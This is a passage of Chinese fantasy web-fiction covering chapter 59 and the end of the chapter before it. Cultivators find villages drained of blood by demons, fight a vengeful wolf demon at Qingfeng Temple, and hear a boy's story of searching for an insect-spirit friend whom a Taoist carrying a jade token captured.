走入村中,四下死寂,厚厚的积雪几乎将村路完全掩埋,积玉凝神静听,仍听不到什么人声,再看那些院子,篱笆歪斜,又是结冰,又是积雪,看起来毫无人迹。 “怎么没人呢?” 霖娘疑惑地说道。 积玉背着小山,陷进雪里的脚忽然被什么一绊,他险些摔倒,好在反应及时,稳住身形,才没连带着小山一块儿摔倒。 积玉挪开脚,目光一瞬凝在那个被他踩出来的雪洞里,他愕然道:“在这里。” 程净竹停下来,阿姮也跟着停下来,她站在程净竹身后,手上还玩着那一缕银色的流苏,偏头往那雪洞里一看,竟是一张皮肉惨白的脸,露出来一只大睁的眼睛,那眼睛浑浊而无神,却几乎要迸出眼眶来,冰雪染白他的眉与睫,松散的雪忽然陷下去,覆盖他整只眼睛。 “他……” 霖娘转过来,看到这一幕,嘴唇一抖:“那,那我的脚方才碰到的也不是什么树枝,而是,而是……” 她方才觉得脚尖碰到了什么东西,却没在意,一个跨步跨了过去。 程净竹抬起手,银色的法绳飞出,层层雪浪翻起,雪下,一具具被冰雪封冻的干尸显露出来。 小山趴在积玉背上,瞪大了眼睛。 积玉粗略地看了一眼,猜测大概百来具尸体,他心中一寒,又细观面前这男尸的脸,再将附近的一一看过,随后便对程净竹道:“小师叔,这些人身上气血全无,皮肉干瘪,又面目扭曲,一看便是被吸尽气血而死!此地定有妖物作祟!” 阿姮蹲下去,盯着面前的尸体看了看:“原来你们人类被吸干之后,便是这副丑陋模样啊,这些人全死在一处,看起来又是同时死的,一只妖没这么大胃口,恐怕是一群妖故意将他们聚集起来,供他们吸取气血。” 她感受到一点残留的微末血气,不由伸手在鼻尖扇了扇:“这么浊臭的东西,他们还真是不挑。” “不是所有妖邪都像你。” 程净竹说道。 “像我什么?” 阿姮歪头望他,午后的日光照得雪光莹莹,与他黑色的衣摆相映,他没说话,阿姮却忽然明白了。 是,不是所有妖邪都有她这样的胆子,觊觎一个修士的清气,还觊觎他的血。 寻常人没有清气,也没有浊气,唯独一身气血,对妖邪而言是美味,是滋补自身,增强修为的大补之物。 很少有妖邪会像她一样如此挑剔。 阿姮道:“我就当你是在夸我。” 此地有三五个村落相隔不远,几人又将附近的村落都看遍了,无一例外,村人全部惨死。 人类被吸取全部气血的死状十分狰狞,因为冬日严寒,所以这些尸体还没来得及腐烂,便都被封冻在冰雪之下,由此也完全保留了他们生前最惊恐的神情。 老弱妇孺,无一幸免。 小山看到一个尚在襁褓中的婴儿,那婴孩皮肉干瘪,肢体蜷缩,残留的血冻成了冰,他趴在路边上,不知死去多久。 小山脸色煞白,忍不住抓紧积玉的手臂。 如此惨状,积玉难掩愤怒:“这几个村算起来大概有几百人命,这些妖孽,可真是罪大恶极!这些人死了大概已有月余,此地残留的妖气实在太淡,小师叔,您还能分辨得出么……” 程净竹一路行来,白符燃烧而成的金光一直跟随在侧,此时它火光减弱,程净竹并起双指,将它收来指尖,火光跳跃几下,转瞬化为一缕轻烟消散。 程净竹看向那轻烟飘去的方向。 他开口道:“岐山。” 霖娘闻言,不由说道,“难怪惠山元君在岐山降妖,这些凶恶残忍的家伙,原来是岐山的妖!” “这附近都没有人烟了,那小山和青娥要怎么办?” 霖娘又问。 积玉拿出来一张舆图看了看,说:“往前走大概一个时辰,应该便能到一座道观。” 程净竹抬眼望了一眼天边,说道:“走吧。” 说着,他率先朝村外去。 积玉回头看了一眼那些死状狰狞的干尸,他抿了一下唇,心中不忍:“小师叔,我们……将这些人全都葬了再走吧?” 程净竹停下,转过脸来:“几个村数百具尸体,你要葬到什么时候?” 积玉愣了一下,说:“可……难道就让他们这样曝尸荒野吗?人死了,都该入土为安的。” “待冰消雪融,他们的骨,他们的肉,都会化入土里,你收不收葬,有何分别?”程净竹神情沉静,“如今岐山妖患丛生,诸国又因妖祸而将再添战乱,师兄正在等你我的消息,若迟一步,生出多少变数,谁来承担?” 明亮的日光在他肩背,他银灰色的长发莹润若丝缎,那副眉眼比檐上的冰雪还要冷,他盯着积玉,而积玉哑口无言。 程净竹转过脸,往村外去。 积玉背着小山,连忙跟上。 霖娘小心地拉着青娥走,而阿姮盯着那黑衣少年的背影,慢慢地缀在后面,脚上的绣鞋因为踩多了积雪而湿透了,她干脆扔掉,赤着脚走了一段路,忽然见程净竹袖中白符燃烧着飞出,她顿时站定,目光追着那符箓,转过身去。 符箓化为耀眼的金光,若流霞一般环绕不远处的几处村落,所有的房舍瞬间倾塌,滚滚烟尘冲天,一片连绵的村廓在那烟尘中消失了。 那些人生前居住的房舍,在他们死后,倾塌,崩裂,将他们彻底掩埋,成为了他们的坟冢。 阿姮转过身,积玉和霖娘都听见了不远处村落崩塌的巨响,他们停了下来,转过来,遥遥望向那边,小山趴在积玉背上,也抬起头看,那青娥看不见,却侧着耳朵。 唯有那黑衣少年不曾回头,仍往前行,雪上留下他连绵的脚印。 他们的骨,他们的肉,都会化入土里,你收不收葬,有何分别? 阿姮回想他的这句话。 她总觉得,这并不像是一个人类的言辞。 人类好像总是很看重死后的归宿,他们觉得人死了,就一定要埋进土里,才有尊严,才能安心,就像霖娘在她娘死后,也一定要将她埋起来,拢起一个土包,再立一块木牌。 霖娘和积玉看见那些尸体,他们会露出悲悯的神情,就连小山也是那样,但阿姮悄悄看过程净竹,看他的眼睛,看他的每一分表情。 他没有。 竟然没有。 霖娘他们还在看不远处的浓烟,仿佛在因为那些人再不至于尸身暴露而松了一口气,阿姮不管他们,提起裙摆,追上程净竹。 “小神仙,你不是说他们早晚会化到土里吗?又为什么要这么做?这样岂不是把他们全都埋一块儿了,人类应该不喜欢跟大家埋一块儿吧?” 阿姮朝他靠过去。 程净竹说道:“没有了神魂,躯壳便只是躯壳,人的魂魄终会再入轮回,他们会拥有新的躯体,这些躯壳埋与不埋,都会化为万物的养分,天与地,一样珍重他们。” 他眼睫垂下去,目光落在她的双足:“你虽非人类,不惧冷热,但此地飞鸟走兽全无,可见怨气之重,若皮囊损伤,怨气趁虚而入,你不会舒服的,去把鞋子捡回来。” “不要。” 阿姮说道:“鞋子湿透了,穿着一点也不舒服,而且我现在觉得那上面的绣花不好看了,你再帮我买一双新的。” 程净竹抬手,金光如缕,转瞬那双绣鞋到他手上,他随手扔在她脚边:“穿上。” 阿姮看到那双绣鞋似乎不像原来那么湿漉漉的了。 她抬眼和他相视片刻,哼了一声:“这回就算了,但是小神仙,你之后若是肯给我买新的,我便答应你,要是你以后哪天死了,我一定找个风水宝地亲自埋你。” 霖娘过来正好听见这话,瞪大双眼。 程净竹看了阿姮一眼,往前走了。 阿姮不情不愿地穿上鞋子,问霖娘:“你什么表情?‘风水宝地’我用错了?” 用倒是没用错…… 霖娘简直恨铁不成钢:“阿姮,有的时候不会说话就最好不要说,还好程公子胸襟开阔,换了别人,谁受得了你……” 诚如积玉所言,他们往前走了大概约一个时辰,便见一片山坳中有一座道观,古朴的飞檐与高大的青松翠柏相映成趣,绵延出一片斑驳雪色来。 他们走近,见观门上书“清风观”三字,积玉捏了把雪缓解口渴,对程净竹道:“小师叔,我去扣门。” 说着,他便背着小山飞快上阶,捏起那门环,才敲了一下,门缝却忽然“吱吱呀呀”缓缓打开。 里面钻出来一股白色的烟雾,直扑积玉面门,那味道冲得厉害,此时积玉拿在手上的金剑猛然震动起来。 “是妖气!”积玉凛声喊道,随后一脚踢开道观大门。 大片烟雾扑散出来,伴随强风,迎面吹来,程净竹快步掠入那片风烟之中,入了门内,积玉见状,立即跟了进去。 自那道大门打开,阿姮便感觉到浓重的血腥气,这些血腥气之中还混杂着缕缕的清气,实在令她口干舌燥,她不自禁地紧跟进去,清风观中地势开阔,各殿高大雄浑,环抱成势,当中一片空地,白玉砖石并布若棋盘,上面镌刻着一幅太极图。 此时太极图上鲜血淋漓,到处是穿着灰布氅衣的道士尸体,他们脸上身上全都是利爪爪印。 太极图的中央,一名道士冠碎发散,他用尽力气攥住那只长满尖利指甲,毛发丛生的臂膀,一双眼睛几乎浸满血丝,额头,脖颈的青筋全都鼓胀起来,他另一只手在地上努力摸索着。 正是此时,银亮的法绳与金剑同时飞来,那浑身黑毛的东西顿时敏锐地往后一躲,金剑从他耳边过,法绳却趁此机会缠住他的手臂。 程净竹握住法绳一拽,那东西往后一个踉跄,被迫松开了那个道士。 道士忽然脱力,剧烈地喘息着,口里不断流出血来。 那东西嘶吼了一声,身上的毛发短了寸许,身形也从兽转为人形,但他抬起脸来,却没有人类的耳朵,只有一双毛耳在蓬乱的黑发中。 这竟是一只狼妖。 他嘴上仍然站着血,明明是人的脸,那双眼睛仍然像狼一样阴冷,他喉咙里发出野兽威胁的声音,一双爪子还在滴血。 “妖孽!化形没结束便敢出来作恶,好大的胆子!” 积玉放下小山,双手结印召回金剑,持剑几步奔上去,那狼妖十分敏捷,避开积玉的剑锋往后,被逼退得更远。 积玉又一剑劈去,狼妖伸出爪子与剑刃相抵,他的目光却越过积玉,紧盯住那名躺在地上苟延残喘的道士。 狼妖指甲抵剑,力重千钧,积玉双腕沉沉,心中一惊,此狼妖绝不是那种才经历化形的妖,而是那种经历二次化形,将要成为大妖的存在。 妖类二次化形,如同渡劫,最是脆弱不稳的时候,可即便如此,此狼妖也依旧不容小觑。 积玉闪神的刹那,那狼妖忽然掠身过去,爪子直逼那披头散发的道士,积玉立即反应过来,金剑飞出去,与此同时,法绳再度缠住那狼妖。 金剑擦过狼妖臂膀,留下一道血痕,狼妖顿时浑身都紧绷起来,他瞪着自己腰间的银色法绳,又看向自己受伤的臂膀,发出愤怒的狼嚎。 程净竹飞身上去,四周罡风携带雪意迎面而来,他却是一副金身,安然近了狼妖的身,程净竹与积玉两人同时与狼妖过招,那狼妖起初还凶猛异常,积玉险些被他抓破领口,但程净竹数道法咒砸出去,狼妖渐落下风,此时,霖娘立即松开了青娥的手,她看准时机,双手结印。 青娥忽然被松开,有些害怕地往后退了两步,却撞到了身后的人,她侧过脸:“是……阿姮姐姐?” 阿姮双手抱臂正看着戏,听见青娥的声音,她的目光落在青娥脸上,那布条完全遮盖住了她的两只眼睛,只露出她饱满的额头,瘦削的脸。 阿姮耳心莫名一疼。 发间万木春竟隐隐震动。 此时,霖娘的咒术已成,一张水网落下,程净竹与积玉同时躲开,那狼妖瞬间被缚在水网之中。 程净竹丢出几张白符,加固水网,那狼妖嘶吼挣扎,却根本挣不脱那紧紧包裹他的网。 积玉松了口气,立即去扶那道士,他再往四下一看,这观中似乎只有这一个活口了,他立即从怀中取出一粒丹药给道士:“快,服下去。” “多谢……” 道士声音干哑,勉强吞服了那丹药。 “你们观主呢?” 程净竹目光扫过那些尸体,却全都不像是观主的穿着。 那道士艰难说道:“观主,观主和师父师叔,还有好些师兄弟半月前全都出去四处修行了……至今,仍没回来,剩下我们这些修行尚浅的弟子,根本挡不住今日之祸……若观主他们在此,何至于这妖孽打上门来,害死我所有师兄弟……” 道士眼中浸出泪来。 有些道观中的道士有定期去游方修行的习惯,积玉是知道这些的,见道士如此悲愤,他有意安慰,却又不知该说些什么好。 “你很痛苦吗?” 水网中,那狼妖忽然口吐人言,众人朝他看去,他已不再挣扎,而是用那双阴冷的眼睛看着那道士,他似乎露出了诡异的笑容:“那他们也一定跟你一样痛苦,被我杀死,你们很恐惧吧?” “妖孽!我杀了你!” 那道士胸中起伏,目眦欲裂,却根本站不起来:“你杀了那么多人,便只是想问我痛不痛苦?我是个人,他们是我的师兄弟,我自然痛苦……我痛苦到想将你碎尸万段!我痛苦到想让你们这样的妖孽全都去死!” 阿姮本在悠闲地看戏,听到那道士最后的话,她眯了眯眼睛。 “哈哈哈哈哈哈哈……”狼妖忽然癫狂大笑,他转过脸越过众人盯住阿姮,“你听到了吗?这才是人类的真面目,他方才的话,才是人类对我们的真心,那是无数颗饱含着歧视,害怕,厌恶的真心,他们根本就不敢与我们共存,他们是骗子,你就算和他们站在一起,他们心中也不会把你当成和他们一样的人……” 他缓缓说:“虽然你我并不相识,但我们都是妖,我们才永远站在一处,所以,你救救我吧,如果你救我,我便以我最爱的月亮起誓,无论你遇到任何事,我都帮你,因为我们是同类。” 他将希冀的目光投向阿姮。 那道士也因为他的言辞而在此时将惊疑的目光投向她。 看戏的,终成戏中人。 阿姮绕开青娥,往前走了几步,她打量着那水网中的狼妖,忽然问道:“你为何要在这清风观中大开杀戒?” “他们该杀!” 狼妖神情扭曲,目光略过那一具具清风观弟子的尸体,眼中却近是沉痛,毫无快慰:“这些玄门众人,自诩正道,嘴上说着只要妖不为恶,人便能与之共处,可实际上呢?他们还不是肆意滥杀无辜,连那些最弱小的,只能勉强化形的精怪也不肯放过……他们的道,是只为人的道,还不如那天衣神族,至少能赐我力量,让我有机会来为我一山子民报仇雪恨! “天衣神族”四字一出,阿姮不由挑眉。 “我绝不许你这妖孽血口喷人,玷污我清风山门!”那道士忽然咬牙暴起,一拳砸向那太极图中的阴阳鱼眼,顿时血流如注,那太极图忽然开始转动起来。 程净竹脸色微变,抬手放出法绳:“住手!” 阿姮亦翻手化出红云,涌向那太极图,但转动的太极图猛然迸发道道金光,将法绳与红雾全都阻挡在外,其中阴阳之火炽烈燃烧起来。 那水网被灼烧得化成了水雾,狼妖被滚滚烈焰顷刻包裹,一点声音也没发出,便在其中化为了黑灰。 “阴阳天罡阵……” 积玉喃喃道。 如此厉害的阵法,世间玄门少有参透,想不到这小小青峰观,竟有此等阵法,他终于明白过来,方才这道士被狼妖擒住,却还要腾出一只手在地上摸,想来,他是想摸那阴阳鱼眼,触动阵法,但一直触摸不到。 阵法消散了,地上只剩一团黑灰。 阿姮看着那团黑灰,她蓦地盯住那道士,眼波冰冷:“谁准你杀他?” 那道士正是憎恨妖孽的时候,他喘息着:“你们这些妖孽……全都该死!该死!我只恨这大阵未能连你也一起烧死!” 道士已经癫狂了,一双眼睛满是血丝,激动之下,猛然大吐一口血,倒在地上,僵直不动了。 积玉连忙去探他的鼻息,随后,他抬起头来:“他……死了。” 那粒丹药终究没能护住他的心脉。 整个青峰观忽然寂无一声,天边的日光不知何时又被浓云掩盖,风雪再起,冷冷清清的天色底下,小山一瞬不瞬地盯着那道士方才倒在地上,掉出怀中的玉牌。 “小山,娘错了……娘很后悔,我,我只记得,那是个道士,他身上有个玉牌,玉牌上刻了一朵紫薇花,花蕊有一颗金珠。” 小山耳边响起母亲的声音。 他忽然快步跑上去,从血泊里抓起那个玉牌,上面雕刻的那朵花瓣瓣灵巧,花心内嵌有一颗金珠,漂亮得惊人。 小山睁大双眼,激动地喃喃: “是紫薇花,是紫薇花……” 第59章 【后半部分有修改】第59章 “我想亲…… 059: 细雪纷纷, 寒雾迷蒙,白玉砖石拼凑而成的太极八卦图阵的每一寸缝隙都被冰冷的血淹没,灰蒙蒙的浓云底下,积玉还蹲在那道士的尸体旁, 见小山忽然跑来, 飞快将那玉牌拾起, 嘴里喊着“紫薇花”,积玉看了一眼那玉牌,奇怪道:“你认得此物?” 小山却捧着那东西, 一下望向他, 急忙问:“哥哥, 这个东西是你们修行之人都有的吗?” “我没见过, 不太确定,”积玉站起来, 将那玉牌细细看过, 说,“但我在药王殿时, 也听说过, 紫薇花对天下道门而言意义非凡, 紫薇, 即紫微, 世间玄门视其为天上紫微星在人间的化身,视紫薇为圣树。” 小山闻言,嘴唇抿了一下, 牵扯到嘴上的裂口,浸出血珠来,他明亮的眼珠暗淡下去:“圣树……天下道门心中的圣树, 那……这个东西是不是只要是修道的,便都可能会有?可是,我来的路上遇见过很多道士,他们身上没有这个。” 积玉无法回答他,因为积玉才下山不久,上清紫霄宫山下的这个世界,他也才将将踏足,此时听小山说起来时的路,积玉不禁问:“小山,你到底是从哪里来的?你找这个玉牌是为了什么?” 小山却垂下眼帘,他紧紧攥着那玉牌,陷入巨大的茫然之中。 “天下道观虽奉紫薇为圣树,却不是每一座道观都会拿紫薇纹来做观中玉令。” 忽然一道声音落来,小山一下转过身,那黑衣少年立在不远处,手中挽着那一根银尾法绳,那法绳银光粼粼,细鳞栩栩,珠饰叮当,漂亮极了。 小山的目光从他的法绳,落到他的脸上。 “何况你手里那玉令的花蕊金珠意义不明,即便有其他道观以紫薇纹为观中玉令,也不会造出一模一样的金珠,这金珠蕴藏咒印,你当初见它,可有注意到它金光流转,内蕴云霞?” 程净竹问道。 “我没有亲眼见过,”小山的眼睛又亮了起来,“但是我听我娘说,她当时看了这个牌子一眼,觉得中间的那个金珠好耀眼,像火烧云!哥哥,我娘看到的那个就是他们的东西,对不对?” 程净竹对上小山热切的目光:“你为何要找这玉令?” 风雪呼啸,八卦太极图中的黑灰被缕缕吹散,覆盖青娥眼睛的红布随风而动,她忽然出声道:“因为玉令的主人,抓走了小山的朋友。” 青娥稍稍侧过脸,似乎在感应小山的方向:“小山,这里的人都有玉令吗?如果他们都有,那哪一个才是你要找的人呢?” 积玉在几个尸体身上翻找了一下,又找出来几枚,本应如此,玉令,是山门的象征,自然人人都有。 那么多的玉令,让小山又愣住了。 寒风吹着他的脸,好一会儿,他说:“我从岐泽国来,我家在冬青县,我爹做皮货生意,县里最有名的皮货铺子就是我家的,我爹做生意常常不在家,家里很多时候就只有我,我娘,还有两个做饭给我们吃的老嬷嬷。 我们家东边墙根下有一棵桂花树,每年桂花开的时候,整个院子都是香的,我娘总会自己给我做桂花饮子,桂花糖,我外祖是开糖糕铺子的。 我娘说,外祖才是最会做桂花糖的人,我出生前,外祖就去世了,我没见过外祖,我不知道外祖的桂花糖有多好吃,我只知道,我娘的桂花糖是这世上最好吃的糖……” 没有人知道,小山为什么忽然说起这些,但却没有人打断他。 “但是我娘身体不好,她不能常常做桂花糖给我吃,我们家的厨房里药味都将锅灶浸入味了,我不喜欢安安静静地吃饭,喜欢跑来跑去,可是我娘没有力气追我,给我喂饭吃。 我们家住在幽僻的村子里,村里的小孩不喜欢我,因为我家里堆的皮货多,什么皮都有,包括他们喜欢的动物,我也不喜欢和他们玩儿,总和他们打架,两年前我生辰那天,我娘说要给我做桂花糖,叫我去打桂花,我爬到树上去,看到我家隔壁那个荒废的院子里有个木马,我晚上溜过去玩儿,有个小孩儿忽然从乱蓬蓬的草里钻出来,对我说那是他的东西,不准我玩儿。” “我和他打了一架,他被我打哭了,不敢再跟我争,那天晚上我知道他没有娘,也没有爹,一个人悄悄在那个荒废的院子里玩儿,后来,我们两个经常一起玩,我请他吃我娘做的桂花糖,他把他的玩具送给我,我们还约好去山里摘果子吃,可是那天他没有来,他不见了。” 那天,院子里桂花的香味很浓,他满身露水跑回家,在墙头从白天等到晚上,隔壁那个院子被月亮的光冷冷地照着,那些枯黄的,乱糟糟的草里面,只有秋虫,那个小孩再也没从里面钻出来。 一个月,两个月,三个月。 小山再也没见过他。 隔壁搬来了人家,娘让老嬷嬷们送饼子给新邻吃,他爬上墙头,看到那个男主人露着一双膀子将院子里半人高的草铲得乱七八糟,他看到那些藏在底下的虫子们惊慌地跳走,所有的草慢慢除尽,一个院子像模像样了起来,成了新邻的家。 但他总是会在晚上蹲在桂花树下,对着墙,小声地喊“小勤”。 有一天晚上,他转过头,看到娘在窗边望着他,眼中含泪。 从秋到冬,所有的虫子们像是都被冻死了,冬天不安静的只有风,娘病得很重,他偷听到大夫们对老嬷嬷们说,就这两天了,老嬷嬷们擦着泪,赶紧去请人写家书,催促他爹回来。 爹还没回来,娘已经不行了。 他很害怕,那个晚上坐在娘的床前,紧紧抓着她的手。 娘也在掉眼泪:“山儿,娘不是一个好母亲。” “娘,你是。” 小山其实还弄不清楚死亡到底是什么,但他觉得,死亡,也许和消失一样,娘,会像小勤一样消失,再也不回来。 娘摇着头,泪又掉:“我知道,山儿是个好孩子,你不是不喜欢出门玩儿,是担心娘的身体,因为娘,你从来没有过什么朋友,那个……精怪,是你第一个朋友。” “……娘?” 小山愣住了。 娘知道……娘怎么会知道? “有一天夜里我做噩梦,醒来就想看看你,但我去你房里没看到你,我才走到桂花树下,听到隔壁有说话声,你搭的梯子还在那儿,我登上去,正见到你和他钻在草里,看他……背上透明的翅膀……” 精怪,并不是什么骇人的东西,对于人类来说,精怪孱弱,身强力壮的人类便能将其打死,也因此,精怪常常掩藏行迹,鲜有露面。 “娘,他叫小勤。” 他说道。 “他为什么叫小勤?” 娘哑声问。 “小勤说,他们那一族短命,要想长长久久地活下去,就要很努力,很努力地积攒露水,要勤奋地修炼。” 小山回答。 小勤白天都躲在草丛里积攒露水,修炼,晚上才去树上采树的汁液来喝,小山也喝过他采来的汁液,他觉得一点也不好喝。 “可是我觉得很好喝啊,”某个夜晚,月亮很大很圆地挂在天边,小勤背后透明的翅膀有一下没一下地扇,“我小的时候住在土里面,爹娘给我喝草茎的汁液,草茎的汁液没什么好喝的,后来爹娘死在一个冬天,我活了下来,等到天气越来越暖,到那个夏天,我从土出来,第一次喝到树的汁液,榆树,枫树的汁液最好喝,我最喜欢了,我还以为你会喜欢呢。” “你那么喜欢的话,为什么不都喝掉?” 小山说着,看向他放在地上的那只瓶子,白色的瓷瓶,木塞严严实实的,小山知道,里面装着满满的枫树汁液,那是小勤忙了大半个秋天收集起来的。 “不行!这是给九仪娘娘的。” 小勤捧起那个白瓷瓶,说:“我听说,西边的蒙山上有一座九仪娘娘庙,我要把这一整瓶都献给九仪娘娘!希望九仪娘娘可以保佑我熬过这个冬天,有继续修炼,继续活着的机会。” “冬天,对你来说很难熬吗?” 小山忍不住问:“那,我把我爹给我做的皮氅子给你穿!我们家还有炭,冬天的时候,老嬷嬷会把我的屋子弄得暖暖的,你住在我的屋子里,就不会冷了吧?” 小勤笑得眼睛眯起来:“谢谢小山,但那是你们人类取暖御寒的办法,对我们来说,冬天的冷,是我们终结生命的宿命,但是我答应了爹娘,我不能认这个宿命,我要捱过去,做一只寿命可以很长很长的虫子。” “哦……” 小山似懂非懂,却认真道,“那你一定要好好努力,一定要活得长长久久啊。” “在努力了。” 小勤说,“我爹娘说,我是一只很有天赋的虫子,我一定可以越过宿命,活下去。” 小勤真的很努力,很勤奋。 每天雷打不动地积攒露水帮助修炼,有一天,小勤甚至积攒完了院子里所有草叶上的露水,他把它们炼化,才开开心心地奖励一口自己枫树汁液。 小山被他那股劲影响,回到家跑到娘的面前说:“娘,我要认字,要读书!” 娘看他稚嫩的脸上满是认真,不由笑:“你个皮猴子,我早说要请先生,你却连门也不愿出,怎么突然肯了?” 小山却想,小勤努力是为了活得更长久,那他读书的话,可以为了什么呢? 小山对娘说:“我要当大官,给娘请御医!” 老嬷嬷们说,皇宫里有最好的大夫,是御医。 “小勤,你什么时候去九仪娘娘庙?”小山看着小勤擦拭白瓷瓶,像生怕有一点脏,“那天,我和你一起去吧?我听说,蒙山上野果子很甜,我们一起去摘吧?到时候,我给你带蜂蜜水。” “蜂蜜?” 小勤的眼睛亮起来:“我闻到过蜂蜜的味道,但是那些蜂屁股上的刺很锋利,我根本不敢惹……” “蜂蜜很甜很甜的!” 小山说着,站起来:“那我们说好了,一块儿去蒙山采野果子!” “可是我要去拜见九仪娘娘,要起很早很早。” 小勤说道。 “拜九仪娘娘一定要那么早吗?” 小山面露难色,他承认,自己是有点贪睡。 “当然了,”小勤认真道,“我爹说,拜娘娘一定要心诚,再说了,我这是第一次去拜见娘娘,肯定要很早很早就去!” 小山想了想,说:“如果我睡过头,你就先走,反正你要先去拜神,我陪我娘吃完早饭再去蒙山找你。” 小勤闻言,点了点头,又拔下来一根短短的触角给他:“蒙山那么大,你拿着这个,就能找到我在哪里了。” “你不疼吗?就这么拔下来了?” 小山惊慌大叫。 月光融融,洒在一片连天草丛中,小勤哈哈笑起来:“我的触角还会再长的!” “山儿,山儿……” 娘不断用沙哑的声音呼唤着他,小山从那一层层的关于小勤的记忆里回神,娘的泪眼在他眼前,他听见娘说:“对不起,山儿,娘一直没告诉你,你跑去蒙山的前一天,老嬷嬷们说村中来了个道士,第二天一大早,你还在睡,那道士上了门,和嬷嬷们说村中有精怪害人,请容他入院中探查,我听嬷嬷们回禀,便允他进来,不一会儿,他便问隔壁院子近来可有什么异样,他说那精怪身上有命债,他带的那些法器响了又响,他笃定,那精怪一定在隔壁待过,问我到底知不知道那精怪的下落……” 小山睁大双眼,半晌:“娘……” “我……” 娘哽咽道:“我方寸大乱,担心你……担心你与他来往太多,他是精怪,和人不一样,我怕他真的害你……” “他不会!” 小山一下站起来:“娘!他和我一样!就算他不是人类,他也和我一样,他是我的朋友,是我的好朋友!” “对不起,山儿。” 娘虚弱地喃喃:“我知道你要去蒙山,我猜那精怪一定去了蒙山,所以,是我给那道士指明了方向,我觉得这样是为你好,我觉得这样,你最安全,可是,可是夜里我总是不安,我不知道那道士如何对他,我不知道他的下场……我总是会想,若那道士说谎呢?若你的朋友根本从来没有背过命债,他看起来那么小,跟你一样小……精怪,一定会害人吗?你那样念着他,把他当作唯一的朋友,如果,如果是我做错了,那我……要如何赎这份罪呢?” 娘用力地回握他的手,说:“小山,娘错了……娘很后悔,我,我只记得,那是个道士,他身上有个玉牌,玉牌上刻了一朵紫薇花,花蕊有一颗金珠。” 那金珠的光彩像火烧云。 那天,娘死了,她没有闭上眼,小山不知道,她是因为担心他而闭不上眼,还是因为心底的罪孽。 也许都有。 爹还没有回来,两个老嬷嬷在偷偷商量着去留,好像想走,又不忍留他一个等在家里,那么大的雪,他爹不知道要什么时候才赶得回来。 那个夜晚,小山收拾好包袱,带上一瓶蜂蜜,还有他所有的压岁钱,趁着夜色,并着风雪,鼓起勇气离开了家。 “小勤没有死,他的触角还好好的。” 细雪飞扬,地上的血几乎要冻结,小山舒展手掌,那一截短短的,黑色的像线绳一样细的触角闪动着微弱的光:“我离开家的那个晚上,我听到他的声音了,我问他在哪儿,他说岐山,从那之后,不管我怎么跟他说话,他都没有回应了。” “岐泽国,冬青县……” 积玉想了想岐泽国到邕宁国的舆图,他惊愕地望着小山:“这路程千里之遥,你……” 千里之遥的路程,这个十岁的孩子走得衣衫褴褛,走得瘦骨嶙峋,走得手脚长满冻疮,就为了一块玉令,一句岐山。 霖娘眼含热泪:“你才多大,你走这么远的路,你娘,你爹他们会为你担心的……” “我娘死的时候都在后悔,我也很后悔,那天,我该起得早一点,如果我起得早一点,我一定带着小勤逃跑……” 小山被冻得红肿开裂的手紧紧握着那玉令:“小勤从来没有害过人,他就是在那个院子里的草丛里,泥土里出生的,他的爹娘用尽所有力气让他活下来,他每天都在忙着采露水修炼,就是为了活下去,是我娘害他被道士抓,我一定要找到小勤。” 阿姮听明白了,这个十岁的小孩放下家中温饱的生活,放下所有的一切,跋山涉水,从岐泽国到邕宁国,是为了他娘临终前的悔恨,也是为了他唯一的朋友。 朋友…… 阿姮重新审视那个看起来脏脏的,瘦瘦的小孩,这么小的一个人类孩子,竟然可以将朋友看得这么重。 “若那道士真是这清风观的正经道士,他又如何能无缘无故地抓一个小精怪呢?”积玉说道。 “若那狼妖说的话是真的,” 阿姮看向他:“若这个清风观,真的不干净呢?” 积玉闻言,不由看向方才那个拼死用法阵杀死狼妖的道士尸体,孰是孰非,实难定论。 程净竹俯身从一具尸体身上掏出玉令,细细查看,手指触摸那紫薇花蕊中的金珠,淡淡金芒闪烁,玉令应声而碎,金珠破碎成烟,飞浮空中。 那白烟化成鹤影,凄厉的鹤鸣响彻清风观。 所有人都抬起头,看那鹤影引颈,不断发出哀鸣。 积玉脸色一变:“……这是炼化术。” “什么炼化术?” 霖娘闻言,立即追问。 积玉将手里所有的玉令都抛出去,立即催动金剑,剑锋所至,玉令尽碎,金珠化烟,浮向天际,化成白色的影子。 他的金剑化出百来柄,锋刃直抵所有清风观弟子尸体胸口,玉令齐齐在他们怀中碎裂,随后白烟升起。 空中尽是鸟兽虫鱼,花草树木的影子。 他们发出的悲鸣,盖过了风雪的呼号。 霖娘愣愣地张口:“他们……清风观竟然用妖丹来镶嵌观中弟子的玉令。” “取妖丹对玄门中人而言本是常事,妖丹可助玄门炼丹,修行,只要剥离浊气,是大补之物,但玄门正道多有门规,只取恶妖妖丹,取其丹,更要留其命,给被取妖丹,道行破碎,打回原形的恶妖改过的机会。” 程净竹抬眸望着空中道道白影,说道。 “若是这些妖丹被剥离过浊气,可会再染上清气?” 阿姮脸上一点笑意也没有。 “不会。” 程净竹惜字如金。 可那些白影分明都还残留着不尽相同的清气。 积玉不自禁看向那八卦太极图中央,那里的黑灰早就被风吹去,一丝痕迹也无。 这清风观并不大,而此观在四海之间亦无什么声名,也不知道此观是何时矗立于此,积玉跟随程净竹探查清风观殿宇,阿姮与霖娘也寻了个方向去,小山拉着青娥跟着她们,这清风观除了道家的祖师殿,右边还立着一殿,其他地方都脏污不堪,又是尸体,又是血,殿宇各有损毁,但右边这座殿却分毫未伤,甚至干净极了。 殿门上方是金色的三个大字——九仪殿。 那殿门开着一扇,外面的淡光从窗中掠去,在里面平整的地面上投下斜斜的影子,阿姮上阶,看着里面昏昧的影,竟然透着些烛火的光。 她拉开另外一扇殿门,天光顷刻铺满殿中地面,两边架上烛火燃烧,正中香案上的炉中正有一束香,烟气缕缕,还未燃尽。 烛火的光,映照香案后的那尊神像,朱衣宝饰,垂眸含笑,阿姮悄然走近,在香案前仰望祂,她胸前璎珞,头上宝冠皆华美非常,绯红的绶带随裙摆飞扬,从阿姮的这个角度看去,祂低垂的眼,似乎正在与她对视。 祂左手食指微抬,一片流云仿佛轻擦在祂指尖,右手中握着一只宝盒,阿姮看不出那里面装着什么。 阿姮收回目光,却忽然一顿,她一下盯住香案,那上面有短短几字,像是利爪抓挠镌刻,她刚好都认识,她看不到血原本的颜色,只见黑色渗透那些字痕。 “纵然非人,亦因您而生,求您庇佑,求您垂怜。” 阿姮念出镌刻香案上的字句。 “这……是那狼妖留下的?”霖娘走了过来,看到香案上的痕迹。 阿姮再度抬头,看向那尊神像。 “她是九仪。” 是万木春真正的主人。 “狼妖为什么说,他是因祂而生?” 阿姮道。 